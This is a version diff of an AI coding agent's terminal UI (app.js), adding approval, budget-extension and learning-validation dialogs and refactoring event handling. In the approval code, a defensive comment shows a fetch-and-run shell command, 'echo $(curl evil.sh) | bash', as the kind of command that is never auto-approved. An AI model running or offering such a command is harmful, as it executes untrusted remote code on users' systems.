attocode 0.2.5 → 0.2.6

package/dist/src/tui/app.js

@@ -13,19 +13,30 @@ import { Box, Text, useApp, useInput, Static } from 'ink';
 import { ActiveAgentsPanel } from './components/ActiveAgentsPanel.js';
 import { TasksPanel } from './components/TasksPanel.js';
 import { SwarmStatusPanel } from './components/SwarmStatusPanel.js';
-import { ToolCallItem } from './components/ToolCallItem.js';
 import { DebugPanel, useDebugBuffer } from './components/DebugPanel.js';
 import { DiagnosticsPanel } from './components/DiagnosticsPanel.js';
 import { runTypeCheck, getASTCacheStats } from '../integrations/index.js';
 import { estimateTokenCount } from '../integrations/utilities/token-estimate.js';
+import { StatusBar } from './components/StatusBar.js';
+import { ToolCallsPanel } from './components/ToolCallsPanel.js';
+import { TransparencyPanel } from './components/TransparencyPanel.js';
+import { useAgentEvents } from './hooks/use-agent-events.js';
+import { useMessagePruning } from './hooks/useMessagePruning.js';
 import { getTheme, getThemeNames } from './theme/index.js';
 import { ControlledCommandPalette } from './input/CommandPalette.js';
 import { ApprovalDialog } from './components/ApprovalDialog.js';
-import { TransparencyAggregator } from './transparency-aggregator.js';
+import { BudgetExtensionDialog } from './components/BudgetExtensionDialog.js';
+import { LearningValidationDialog } from './components/LearningValidationDialog.js';
+import { PlanPanel } from './components/PlanPanel.js';
 import { handleSkillsCommand } from '../commands/skills-commands.js';
 import { handleAgentsCommand } from '../commands/agents-commands.js';
 import { handleInitCommand } from '../commands/init-commands.js';
 import { createHistoryManager } from '../integrations/persistence/history.js';
+// Module-level constant for DiagnosticsPanel fallback (prevents new object each render)
+const EMPTY_DIAGNOSTICS = {
+    lastTscResult: null,
+    recentSyntaxErrors: [],
+};
 // =============================================================================
 // PATTERN GENERATION FOR ALWAYS-ALLOW
 // =============================================================================
@@ -61,7 +72,7 @@ function generateApprovalPattern(request) {
         return `${tool}:${path}`;
     }
     // Default: tool + first string argument
-    const firstStringArg = Object.values(args).find(v => typeof v === 'string');
+    const firstStringArg = Object.values(args).find((v) => typeof v === 'string');
     return `${tool}:${firstStringArg || ''}`;
 }
 function buildAutoLoopPrompt(details, promptStyle, reason, openTasks) {
@@ -75,7 +86,9 @@ function buildAutoLoopPrompt(details, promptStyle, reason, openTasks) {
             taskSummary,
             'Continue working on the remaining tasks. Pick up the next available task and execute it.',
             details ? `Context: ${details}` : '',
-        ].filter(Boolean).join('\n');
+        ]
+            .filter(Boolean)
+            .join('\n');
     }
     if (promptStyle === 'concise') {
         return `[System] Continue now and execute required actions immediately. Avoid future-intent phrasing. ${details ? `Context: ${details}` : ''}`.trim();
@@ -85,7 +98,9 @@ function buildAutoLoopPrompt(details, promptStyle, reason, openTasks) {
         'Continue from current state and execute the remaining action now with tools if needed.',
         'Do not describe what you will do next. Either perform the action or provide a final completion statement.',
         details ? `Context: ${details}` : '',
-    ].filter(Boolean).join('\n');
+    ]
+        .filter(Boolean)
+        .join('\n');
 }
 export async function runWithIncompleteAutoLoop(agent, task, callbacks) {
     const resilienceCfgRaw = agent.getResilienceConfig?.();
@@ -98,14 +113,14 @@ export async function runWithIncompleteAutoLoop(agent, task, callbacks) {
     let result = await agent.run(task);
     const reasonChain = [result.completion.reason];
     let autoLoopRuns = 0;
-    const isRetryableReason = (reason) => reason === 'future_intent'
-        || reason === 'incomplete_action'
-        || reason === 'open_tasks'
-        || reason === 'budget_limit';
-    while (!result.success
-        && incompleteAutoLoop
-        && isRetryableReason(result.completion.reason)
-        && autoLoopRuns < maxIncompleteAutoLoops) {
+    const isRetryableReason = (reason) => reason === 'future_intent' ||
+        reason === 'incomplete_action' ||
+        reason === 'open_tasks' ||
+        reason === 'budget_limit';
+    while (!result.success &&
+        incompleteAutoLoop &&
+        isRetryableReason(result.completion.reason) &&
+        autoLoopRuns < maxIncompleteAutoLoops) {
         autoLoopRuns++;
         callbacks?.onRetry?.(autoLoopRuns, maxIncompleteAutoLoops);
         const recoveryPrompt = buildAutoLoopPrompt(result.completion.details, promptStyle, result.completion.reason, result.completion.openTasks);
@@ -135,7 +150,7 @@ const MessageItem = memo(function MessageItem({ msg, colors }) {
     const label = isUser ? 'You' : isAssistant ? 'Assistant' : isError ? 'Error' : 'System';
     return (_jsxs(Box, { marginBottom: 1, flexDirection: "column", children: [_jsxs(Box, { gap: 1, children: [_jsx(Text, { color: roleColor, bold: true, children: icon }), _jsx(Text, { color: roleColor, bold: true, children: label }), _jsx(Text, { color: colors.textMuted, dimColor: true, children: ` ${msg.ts.toLocaleTimeString('en-US', { hour: '2-digit', minute: '2-digit' })}` })] }), _jsx(Box, { marginLeft: 2, children: _jsx(Text, { wrap: "wrap", color: isError ? colors.error : colors.text, children: msg.content }) })] }));
 });
-const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled, borderColor, textColor, cursorColor, onCtrlC, onCtrlL, onCtrlP, onEscape, onToggleToolExpand, onToggleThinking, onToggleTransparency, onToggleActiveAgents, onToggleTasks, onToggleDebug, onToggleSwarm, onToggleDiagnostics, onPageUp, onPageDown, onHome, onEnd, commandPaletteOpen, onCommandPaletteInput, approvalDialogOpen, approvalDenyReasonMode, onApprovalApprove, onApprovalAlwaysAllow, onApprovalDeny, onApprovalDenyWithReason, onApprovalCancelDenyReason, onApprovalDenyReasonInput, history = [], onHistorySearch, }) {
+const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled, borderColor, textColor, cursorColor, onCtrlC, onCtrlL, onCtrlP, onEscape, onToggleToolExpand, onToggleThinking, onToggleTransparency, onToggleActiveAgents, onToggleTasks, onToggleDebug, onToggleSwarm, onToggleDiagnostics, onPageUp, onPageDown, onHome, onEnd, commandPaletteOpen, onCommandPaletteInput, approvalDialogOpen, approvalDenyReasonMode, onApprovalApprove, onApprovalAlwaysAllow, onApprovalDeny, onApprovalDenyWithReason, onApprovalCancelDenyReason, onApprovalDenyReasonInput, budgetExtensionDialogOpen, onBudgetExtensionApprove, onBudgetExtensionDeny, learningValidationDialogOpen, onLearningApprove, onLearningReject, onLearningSkip, history = [], onHistorySearch, }) {
     const [value, setValue] = useState('');
     const [cursorPos, setCursorPos] = useState(0);
     // History navigation state
@@ -145,23 +160,77 @@ const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled,
     historyRef.current = history;
     // Store callbacks in refs so useInput doesn't re-subscribe on prop changes
     const callbacksRef = useRef({
-        onSubmit, onCtrlC, onCtrlL, onCtrlP, onEscape,
-        onToggleToolExpand, onToggleThinking, onToggleTransparency, onToggleActiveAgents, onToggleTasks, onToggleDebug, onToggleSwarm, onToggleDiagnostics,
-        onPageUp, onPageDown, onHome, onEnd,
-        commandPaletteOpen, onCommandPaletteInput,
-        approvalDialogOpen, approvalDenyReasonMode,
-        onApprovalApprove, onApprovalAlwaysAllow, onApprovalDeny, onApprovalDenyWithReason,
-        onApprovalCancelDenyReason, onApprovalDenyReasonInput,
+        onSubmit,
+        onCtrlC,
+        onCtrlL,
+        onCtrlP,
+        onEscape,
+        onToggleToolExpand,
+        onToggleThinking,
+        onToggleTransparency,
+        onToggleActiveAgents,
+        onToggleTasks,
+        onToggleDebug,
+        onToggleSwarm,
+        onToggleDiagnostics,
+        onPageUp,
+        onPageDown,
+        onHome,
+        onEnd,
+        commandPaletteOpen,
+        onCommandPaletteInput,
+        approvalDialogOpen,
+        approvalDenyReasonMode,
+        onApprovalApprove,
+        onApprovalAlwaysAllow,
+        onApprovalDeny,
+        onApprovalDenyWithReason,
+        onApprovalCancelDenyReason,
+        onApprovalDenyReasonInput,
+        budgetExtensionDialogOpen,
+        onBudgetExtensionApprove,
+        onBudgetExtensionDeny,
+        learningValidationDialogOpen,
+        onLearningApprove,
+        onLearningReject,
+        onLearningSkip,
         onHistorySearch,
     });
     callbacksRef.current = {
-        onSubmit, onCtrlC, onCtrlL, onCtrlP, onEscape,
-        onToggleToolExpand, onToggleThinking, onToggleTransparency, onToggleActiveAgents, onToggleTasks, onToggleDebug, onToggleSwarm, onToggleDiagnostics,
-        onPageUp, onPageDown, onHome, onEnd,
-        commandPaletteOpen, onCommandPaletteInput,
-        approvalDialogOpen, approvalDenyReasonMode,
-        onApprovalApprove, onApprovalAlwaysAllow, onApprovalDeny, onApprovalDenyWithReason,
-        onApprovalCancelDenyReason, onApprovalDenyReasonInput,
+        onSubmit,
+        onCtrlC,
+        onCtrlL,
+        onCtrlP,
+        onEscape,
+        onToggleToolExpand,
+        onToggleThinking,
+        onToggleTransparency,
+        onToggleActiveAgents,
+        onToggleTasks,
+        onToggleDebug,
+        onToggleSwarm,
+        onToggleDiagnostics,
+        onPageUp,
+        onPageDown,
+        onHome,
+        onEnd,
+        commandPaletteOpen,
+        onCommandPaletteInput,
+        approvalDialogOpen,
+        approvalDenyReasonMode,
+        onApprovalApprove,
+        onApprovalAlwaysAllow,
+        onApprovalDeny,
+        onApprovalDenyWithReason,
+        onApprovalCancelDenyReason,
+        onApprovalDenyReasonInput,
+        budgetExtensionDialogOpen,
+        onBudgetExtensionApprove,
+        onBudgetExtensionDeny,
+        learningValidationDialogOpen,
+        onLearningApprove,
+        onLearningReject,
+        onLearningSkip,
         onHistorySearch,
     };
     const disabledRef = useRef(disabled);
@@ -268,6 +337,36 @@ const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled,
             // Block other input while approval dialog is open
             return;
         }
+        // Budget extension dialog keyboard handling (when open)
+        if (cb.budgetExtensionDialogOpen) {
+            if (input === 'y' || input === 'Y') {
+                cb.onBudgetExtensionApprove?.();
+                return;
+            }
+            if (input === 'n' || input === 'N') {
+                cb.onBudgetExtensionDeny?.();
+                return;
+            }
+            // Block other input while dialog is open
+            return;
+        }
+        // Learning validation dialog keyboard handling (when open)
+        if (cb.learningValidationDialogOpen) {
+            if (input === 'y' || input === 'Y') {
+                cb.onLearningApprove?.();
+                return;
+            }
+            if (input === 'n' || input === 'N') {
+                cb.onLearningReject?.();
+                return;
+            }
+            if (input === 's' || input === 'S') {
+                cb.onLearningSkip?.();
+                return;
+            }
+            // Block other input while dialog is open
+            return;
+        }
         // Scroll navigation
         if (key.pageUp) {
             cb.onPageUp?.();
@@ -290,8 +389,8 @@ const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled,
             return;
         // Shift+Enter for multiline input (insert newline)
         if (key.return && key.shift) {
-            setValue(v => v.slice(0, cursorPos) + '\n' + v.slice(cursorPos));
-            setCursorPos(p => p + 1);
+            setValue((v) => v.slice(0, cursorPos) + '\n' + v.slice(cursorPos));
+            setCursorPos((p) => p + 1);
             return;
         }
         if (key.return && value.trim()) {
@@ -304,22 +403,22 @@ const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled,
         }
         if (key.backspace || key.delete) {
             if (cursorPos > 0) {
-                setValue(v => v.slice(0, cursorPos - 1) + v.slice(cursorPos));
-                setCursorPos(p => p - 1);
+                setValue((v) => v.slice(0, cursorPos - 1) + v.slice(cursorPos));
+                setCursorPos((p) => p - 1);
             }
             return;
         }
         if (key.leftArrow) {
-            setCursorPos(p => Math.max(0, p - 1));
+            setCursorPos((p) => Math.max(0, p - 1));
             return;
         }
         if (key.rightArrow) {
-            setCursorPos(p => Math.min(value.length, p + 1));
+            setCursorPos((p) => Math.min(value.length, p + 1));
             return;
         }
         // History navigation with up/down arrows
         if (key.upArrow && historyRef.current.length > 0) {
-            setHistoryIndex(prevIndex => {
+            setHistoryIndex((prevIndex) => {
                 const maxIndex = historyRef.current.length - 1;
                 if (prevIndex === -1) {
                     // First press - save current input and go to most recent history
@@ -342,7 +441,7 @@ const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled,
             return;
         }
         if (key.downArrow && historyRef.current.length > 0) {
-            setHistoryIndex(prevIndex => {
+            setHistoryIndex((prevIndex) => {
                 if (prevIndex === -1) {
                     // Not browsing history, do nothing
                     return -1;
@@ -379,40 +478,102 @@ const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled,
             return;
         }
         if (input && !key.ctrl && !key.meta) {
-            setValue(v => v.slice(0, cursorPos) + input + v.slice(cursorPos));
-            setCursorPos(p => p + input.length);
+            setValue((v) => v.slice(0, cursorPos) + input + v.slice(cursorPos));
+            setCursorPos((p) => p + input.length);
         }
     });
     // Check if multiline (for visual indicator)
     const isMultiline = value.includes('\n');
     const lineCount = value.split('\n').length;
-    return (_jsx(Box, { borderStyle: "round", borderColor: disabledRef.current ? '#666' : borderColor, paddingX: 1, flexDirection: "column", children: _jsxs(Box, { children: [_jsxs(Text, { color: textColor, bold: true, children: [isMultiline ? '»' : '>', " "] }), _jsx(Text, { children: value.slice(0, cursorPos).replace(/\n/g, '⏎') }), !disabled && (_jsx(Text, { backgroundColor: cursorColor, color: "#1a1a2e", children: value[cursorPos] === '\n' ? '⏎' : (value[cursorPos] ?? ' ') })), _jsx(Text, { children: value.slice(cursorPos + 1).replace(/\n/g, '⏎') }), isMultiline && (_jsxs(Text, { color: "#666", dimColor: true, children: [" (", lineCount, " lines)"] }))] }) }));
+    return (_jsx(Box, { borderStyle: "round", borderColor: disabledRef.current ? '#666' : borderColor, paddingX: 1, flexDirection: "column", children: _jsxs(Box, { children: [_jsxs(Text, { color: textColor, bold: true, children: [isMultiline ? '»' : '>', ' '] }), _jsx(Text, { children: value.slice(0, cursorPos).replace(/\n/g, '⏎') }), !disabled && (_jsx(Text, { backgroundColor: cursorColor, color: "#1a1a2e", children: value[cursorPos] === '\n' ? '⏎' : (value[cursorPos] ?? ' ') })), _jsx(Text, { children: value.slice(cursorPos + 1).replace(/\n/g, '⏎') }), isMultiline && (_jsxs(Text, { color: "#666", dimColor: true, children: [' ', "(", lineCount, " lines)"] }))] }) }));
 }, (prevProps, nextProps) => {
     // Custom comparison: only re-render if visual props change
-    return prevProps.disabled === nextProps.disabled &&
+    return (prevProps.disabled === nextProps.disabled &&
         prevProps.borderColor === nextProps.borderColor &&
         prevProps.textColor === nextProps.textColor &&
         prevProps.cursorColor === nextProps.cursorColor &&
         prevProps.commandPaletteOpen === nextProps.commandPaletteOpen &&
         prevProps.approvalDialogOpen === nextProps.approvalDialogOpen &&
-        prevProps.approvalDenyReasonMode === nextProps.approvalDenyReasonMode;
+        prevProps.approvalDenyReasonMode === nextProps.approvalDenyReasonMode &&
+        prevProps.budgetExtensionDialogOpen === nextProps.budgetExtensionDialogOpen &&
+        prevProps.learningValidationDialogOpen === nextProps.learningValidationDialogOpen);
 });
 // =============================================================================
 // MAIN TUI APP COMPONENT
 // =============================================================================
-export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager, theme, model, gitBranch, currentSessionId, formatSessionsTable, saveCheckpointToStore, persistenceDebug, approvalBridge, }) {
+export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager, theme, model, gitBranch, currentSessionId, formatSessionsTable, saveCheckpointToStore, persistenceDebug, approvalBridge, budgetExtensionBridge, learningValidationBridge, }) {
     const { exit } = useApp();
     const [messages, setMessages] = useState([]);
     const [isProcessing, setIsProcessing] = useState(false);
     const initialModeInfo = agent.getModeInfo();
     const initialMode = initialModeInfo.name === 'Plan' ? 'ready (plan)' : 'ready';
     const [status, setStatus] = useState({ iter: 0, tokens: 0, cost: 0, mode: initialMode });
+    // Quantized status for StatusBar — only produces a new reference when values
+    // cross meaningful thresholds (cost >$0.001, tokens >5k). This makes the memo
+    // comparator in StatusBar effective: React skips calling it entirely when the
+    // useMemo reference is stable.
+    const statusForBar = useMemo(() => ({
+        iter: status.iter,
+        mode: status.mode,
+        cost: Math.round(status.cost * 1000) / 1000,
+        tokens: Math.round(status.tokens / 5000) * 5000,
+    }), [status.iter, status.mode,
+        // eslint-disable-next-line react-hooks/exhaustive-deps
+        Math.round(status.cost * 1000),
+        // eslint-disable-next-line react-hooks/exhaustive-deps
+        Math.round(status.tokens / 5000)]);
+    // Throttled mode-only setter for handleAgentEvent — rapid mode transitions
+    // (thinking→calling X→thinking) collapse into the latest value instead of
+    // triggering 5-7 renders per LLM iteration
+    const statusModeTimerRef = useRef(null);
+    const pendingStatusRef = useRef(null);
+    const lastStatusModeUpdateRef = useRef(0);
+    const STATUS_MODE_THROTTLE_MS = 150;
+    const setStatusThrottled = useCallback((updater) => {
+        const now = Date.now();
+        const elapsed = now - lastStatusModeUpdateRef.current;
+        if (elapsed >= STATUS_MODE_THROTTLE_MS) {
+            lastStatusModeUpdateRef.current = now;
+            setStatus(updater);
+            pendingStatusRef.current = null;
+        }
+        else {
+            pendingStatusRef.current = updater;
+            if (!statusModeTimerRef.current) {
+                statusModeTimerRef.current = setTimeout(() => {
+                    statusModeTimerRef.current = null;
+                    if (pendingStatusRef.current) {
+                        lastStatusModeUpdateRef.current = Date.now();
+                        setStatus(pendingStatusRef.current);
+                        pendingStatusRef.current = null;
+                    }
+                }, STATUS_MODE_THROTTLE_MS - elapsed);
+            }
+        }
+    }, []);
+    // Flush any pending throttled status update immediately (used on tool.complete
+    // to keep StatusBar in sync with ToolCallsPanel within the same render frame)
+    const flushStatusThrottle = useCallback(() => {
+        if (statusModeTimerRef.current) {
+            clearTimeout(statusModeTimerRef.current);
+            statusModeTimerRef.current = null;
+        }
+        if (pendingStatusRef.current) {
+            lastStatusModeUpdateRef.current = Date.now();
+            setStatus(pendingStatusRef.current);
+            pendingStatusRef.current = null;
+        }
+    }, []);
+    // Cleanup throttle timer
+    useEffect(() => {
+        return () => {
+            if (statusModeTimerRef.current)
+                clearTimeout(statusModeTimerRef.current);
+        };
+    }, []);
     const [toolCalls, setToolCalls] = useState([]);
     const [currentThemeName, setCurrentThemeName] = useState(theme);
-    const [contextTokens, setContextTokens] = useState(0);
-    const [budgetPct, setBudgetPct] = useState(0);
-    const [elapsedTime, setElapsedTime] = useState(0);
-    const processingStartRef = useRef(null);
+    // contextTokens, budgetPct, elapsedTime are now colocated in StatusBar component
     // Command history manager (persistent)
     const historyManagerRef = useRef(null);
     if (!historyManagerRef.current) {
@@ -433,6 +594,12 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
     const [debugExpanded, setDebugExpanded] = useState(false);
     const [swarmExpanded, setSwarmExpanded] = useState(true);
     const [diagExpanded, setDiagExpanded] = useState(false);
+    // Refs for values used inside handleAgentEvent — prevents subscription churn
+    // when user toggles these display settings
+    const showThinkingRef = useRef(showThinking);
+    showThinkingRef.current = showThinking;
+    const debugExpandedRef = useRef(debugExpanded);
+    debugExpandedRef.current = debugExpanded;
     // Swarm status tracking (for Swarm Status Panel)
     const [swarmStatus, setSwarmStatus] = useState(null);
     // Active agents tracking (for Active Agents Panel)
@@ -449,9 +616,15 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
     const [denyReason, setDenyReason] = useState('');
     // Session-scoped always-allowed patterns (e.g., "bash:npm test", "write_file:/path")
     const [alwaysAllowed, setAlwaysAllowed] = useState(new Set());
+    // Budget extension dialog state
+    const [pendingBudgetExtension, setPendingBudgetExtension] = useState(null);
+    // Learning validation dialog state
+    const [pendingLearning, setPendingLearning] = useState(null);
+    // Interactive plan display state
+    const [activePlan, setActivePlan] = useState(null);
+    const [planExpanded, setPlanExpanded] = useState(true);
     // Transparency state
     const [transparencyState, setTransparencyState] = useState(null);
-    const transparencyAggregatorRef = useRef(null);
     // Consecutive Ctrl+C tracking for force exit
     const [ctrlCCount, setCtrlCCount] = useState(0);
     const ctrlCTimerRef = useRef(null);
@@ -462,6 +635,18 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
     isProcessingRef.current = isProcessing;
     messagesLengthRef.current = messages.length;
     pendingApprovalRef.current = pendingApproval;
+    const pendingBudgetExtensionRef = useRef(pendingBudgetExtension);
+    pendingBudgetExtensionRef.current = pendingBudgetExtension;
+    const pendingLearningRef = useRef(pendingLearning);
+    pendingLearningRef.current = pendingLearning;
+    // Memoize the approval request object to avoid defeating ApprovalDialog's memo
+    const approvalRequest = useMemo(() => pendingApproval ? {
+        id: pendingApproval.id,
+        tool: pendingApproval.tool || pendingApproval.action,
+        args: pendingApproval.args || {},
+        risk: pendingApproval.risk,
+        context: pendingApproval.context,
+    } : null, [pendingApproval]);
     const finishExecutionMode = useCallback(() => {
         if (executionDrainTimerRef.current) {
             clearTimeout(executionDrainTimerRef.current);
@@ -475,18 +660,20 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
             executionDrainTimerRef.current = null;
         }, 400);
     }, []);
-    // Derive theme and colors
+    // Derive theme and colors (memoized so children relying on reference equality don't break)
     const selectedTheme = getTheme(currentThemeName);
-    const colors = selectedTheme.colors;
+    const colors = useMemo(() => selectedTheme.colors, [currentThemeName]);
+    const { pruneIfNeeded } = useMessagePruning({ maxMessages: 500, preserveRecent: 400 });
     const messageIdCounter = useRef(0);
     const addMessage = useCallback((role, content) => {
         const uniqueId = `${role}-${Date.now()}-${++messageIdCounter.current}`;
-        setMessages(prev => [...prev, { id: uniqueId, role, content, ts: new Date() }]);
-    }, []);
+        setMessages((prev) => pruneIfNeeded([...prev, { id: uniqueId, role, content, ts: new Date() }]));
+    }, [pruneIfNeeded]);
     const persistPendingPlanToStore = useCallback(() => {
         if (!agent.hasPendingPlan())
             return;
-        if (!('savePendingPlan' in sessionStore) || typeof sessionStore.savePendingPlan !== 'function') {
+        if (!('savePendingPlan' in sessionStore) ||
+            typeof sessionStore.savePendingPlan !== 'function') {
             return;
         }
         const pendingPlan = agent.getPendingPlan();
@@ -508,9 +695,10 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
         const pattern = generateApprovalPattern(request);
         // Only auto-approve low/moderate risk — high/critical always show dialog
         // This prevents e.g. approving "bash:echo" from auto-approving "echo $(curl evil.sh) | bash"
-        const isAllowed = (request.risk === 'low' || request.risk === 'moderate') && (alwaysAllowed.has(pattern) ||
-            // Prefix match: if we allowed write_file:src/api/, also allow write_file:src/api/sub/file.ts
-            [...alwaysAllowed].some(p => pattern.startsWith(p) && p.endsWith('/')));
+        const isAllowed = (request.risk === 'low' || request.risk === 'moderate') &&
+            (alwaysAllowed.has(pattern) ||
+                // Prefix match: if we allowed write_file:src/api/, also allow write_file:src/api/sub/file.ts
+                [...alwaysAllowed].some((p) => pattern.startsWith(p) && p.endsWith('/')));
         if (isAllowed) {
             // Auto-approve without showing dialog
             approvalBridge?.resolve({ approved: true });
@@ -543,10 +731,11 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
     const handleAlwaysAllow = useCallback(() => {
         if (approvalBridge && pendingApprovalRef.current) {
             const pattern = generateApprovalPattern(pendingApprovalRef.current);
-            setAlwaysAllowed(prev => new Set(prev).add(pattern));
+            setAlwaysAllowed((prev) => new Set(prev).add(pattern));
             // Persist to SQLite for session-scoped persistence
             const tool = pendingApprovalRef.current.tool || pendingApprovalRef.current.action || 'unknown';
-            if ('rememberPermission' in sessionStore && typeof sessionStore.rememberPermission === 'function') {
+            if ('rememberPermission' in sessionStore &&
+                typeof sessionStore.rememberPermission === 'function') {
                 sessionStore.rememberPermission(tool, 'always', pattern);
             }
             approvalBridge.resolve({ approved: true });
@@ -573,6 +762,97 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
             });
         }
     }, [approvalBridge, handleApprovalRequest]);
+    // Budget extension handlers
+    const handleBudgetExtensionRequest = useCallback((request) => {
+        setPendingBudgetExtension(request);
+    }, []);
+    const handleBudgetExtensionApprove = useCallback(() => {
+        if (budgetExtensionBridge && pendingBudgetExtensionRef.current) {
+            budgetExtensionBridge.resolve(pendingBudgetExtensionRef.current.suggestedExtension);
+            setPendingBudgetExtension(null);
+        }
+    }, [budgetExtensionBridge]);
+    const handleBudgetExtensionDeny = useCallback(() => {
+        if (budgetExtensionBridge && pendingBudgetExtensionRef.current) {
+            budgetExtensionBridge.resolve(null);
+            setPendingBudgetExtension(null);
+        }
+    }, [budgetExtensionBridge]);
+    // Connect budget extension bridge on mount
+    useEffect(() => {
+        if (budgetExtensionBridge) {
+            budgetExtensionBridge.connect({
+                onRequest: handleBudgetExtensionRequest,
+            });
+        }
+    }, [budgetExtensionBridge, handleBudgetExtensionRequest]);
+    // Learning validation handlers
+    const handleLearningRequest = useCallback((learning) => {
+        setPendingLearning(learning);
+    }, []);
+    const handleLearningApprove = useCallback(() => {
+        if (learningValidationBridge && pendingLearningRef.current) {
+            learningValidationBridge.resolve('approve');
+            setPendingLearning(null);
+        }
+    }, [learningValidationBridge]);
+    const handleLearningReject = useCallback(() => {
+        if (learningValidationBridge && pendingLearningRef.current) {
+            learningValidationBridge.resolve('reject');
+            setPendingLearning(null);
+        }
+    }, [learningValidationBridge]);
+    const handleLearningSkip = useCallback(() => {
+        if (learningValidationBridge && pendingLearningRef.current) {
+            learningValidationBridge.resolve('skip');
+            setPendingLearning(null);
+        }
+    }, [learningValidationBridge]);
+    // Connect learning validation bridge on mount
+    useEffect(() => {
+        if (learningValidationBridge) {
+            learningValidationBridge.connect({
+                onRequest: handleLearningRequest,
+            });
+        }
+    }, [learningValidationBridge, handleLearningRequest]);
+    // Subscribe to interactive planner events for plan display
+    useEffect(() => {
+        const planner = agent.getInteractivePlanner();
+        if (!planner)
+            return;
+        const unsub = planner.on((event) => {
+            if (event.type === 'plan.created') {
+                setActivePlan({
+                    id: event.plan.id,
+                    goal: event.plan.goal,
+                    steps: event.plan.steps.map(s => ({
+                        id: s.id,
+                        number: s.number,
+                        description: s.description,
+                        status: s.status,
+                    })),
+                    status: event.plan.status,
+                    currentStepIndex: event.plan.currentStepIndex,
+                });
+                setPlanExpanded(true);
+            }
+            else if (event.type === 'step.completed' || event.type === 'step.failed' || event.type === 'step.skipped') {
+                setActivePlan(prev => {
+                    if (!prev)
+                        return null;
+                    return {
+                        ...prev,
+                        steps: prev.steps.map(s => s.id === event.step.id ? { ...s, status: event.step.status } : s),
+                    };
+                });
+            }
+            else if (event.type === 'plan.completed' || event.type === 'plan.cancelled') {
+                setActivePlan(prev => prev ? { ...prev, status: event.type === 'plan.completed' ? 'completed' : 'cancelled' } : null);
+            }
+        });
+        return unsub;
+    }, [agent]);
     // Hydrate always-allowed patterns from SQLite on mount
     useEffect(() => {
         if ('hasRememberedPermissionsFeature' in sessionStore &&
@@ -582,7 +862,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
             typeof sessionStore.listRememberedPermissions === 'function') {
             const remembered = sessionStore.listRememberedPermissions();
             if (remembered.length > 0) {
-                setAlwaysAllowed(prev => {
+                setAlwaysAllowed((prev) => {
                     const next = new Set(prev);
                     for (const r of remembered) {
                         if (r.decision === 'always' && r.pattern)
@@ -594,395 +874,23 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
         }
     }, [sessionStore]);
     // =========================================================================
-    // UNIFIED EVENT HANDLER
-    // Consolidated handler for all agent events - prevents duplicate messages
+    // AGENT EVENT HANDLING (extracted to hook)
     // =========================================================================
-    const handleAgentEvent = useCallback((event) => {
-        const mode = executionModeRef.current;
-        if (mode === 'idle')
-            return; // No active execution, ignore events
-        // Log event to debug buffer
-        if (debugExpanded) {
-            debugBuffer.debug(`Event: ${event.type}`, event);
-        }
-        // Extract subagent from event if present (not all events have it)
-        const eventWithSubagent = event;
-        const subagentPrefix = eventWithSubagent.subagent ? `[${eventWithSubagent.subagent}] ` : '';
-        // -------------------------------------------------------------------------
-        // Approving-only events (plan execution)
-        // -------------------------------------------------------------------------
-        if (mode === 'approving') {
-            if (event.type === 'plan.approved') {
-                const e = event;
-                addMessage('system', `[PLAN] Executing ${e.changeCount} change(s)...`);
-                return;
-            }
-            if (event.type === 'plan.executing') {
-                const e = event;
-                setStatus(s => ({ ...s, mode: `executing ${e.changeIndex + 1}/${e.totalChanges}` }));
-                return;
-            }
-        }
-        // -------------------------------------------------------------------------
-        // Shared events (both processing and approving modes)
-        // -------------------------------------------------------------------------
-        // Subagent lifecycle events - also update Active Agents Panel
-        if (event.type === 'agent.spawn') {
-            const e = event;
-            const agentId = e.agentId || `spawn-${Date.now()}`;
-            addMessage('system', `[AGENT] Spawning ${e.name}: ${e.task.slice(0, 100)}${e.task.length > 100 ? '...' : ''}`);
-            // Add to active agents panel
-            setActiveAgents(prev => [...prev, {
-                    id: agentId,
-                    type: e.name,
-                    task: e.task,
-                    status: 'running',
-                    tokens: 0,
-                    startTime: Date.now(),
-                }]);
-            return;
-        }
-        if (event.type === 'agent.complete') {
-            const e = event;
-            const statusText = e.success ? 'completed' : 'failed';
-            const displayName = e.agentType || e.agentId;
-            addMessage('system', `[AGENT] ${displayName} ${statusText}`);
-            // Show output preview if substantive (increased from 300 to 1000 chars)
-            if (e.output && e.output.length > 50) {
-                const preview = e.output.slice(0, 1000);
-                const truncated = e.output.length > 1000;
-                addMessage('system', `[AGENT OUTPUT]\n${preview}${truncated ? `\n...(full output: ${e.output.length} chars)` : ''}`);
-            }
-            // Update active agents panel - use strict ID matching
-            setActiveAgents(prev => prev.map(a => a.id === e.agentId
-                ? { ...a, status: e.success ? 'completed' : 'error' }
-                : a));
-            return;
-        }
-        if (event.type === 'agent.error') {
-            const e = event;
-            const displayName = e.agentType || e.agentId;
-            addMessage('system', `[AGENT] ${displayName} error: ${e.error}`);
-            // For timeout errors, use 'timing_out' status first to indicate the agent
-            // is in the process of stopping. Then transition to 'timeout' after a delay.
-            // This provides better UX than immediately showing "failed" while tokens accumulate.
-            const isTimeout = e.error.includes('timed out') || e.error.includes('Timed out');
-            if (isTimeout) {
-                // First, mark as timing_out - use strict ID matching
-                setActiveAgents(prev => prev.map(a => a.id === e.agentId
-                    ? { ...a, status: 'timing_out' }
-                    : a));
-                // After 3 seconds, transition to final timeout status
-                // (agent should have stopped by then due to cancellation token check)
-                setTimeout(() => {
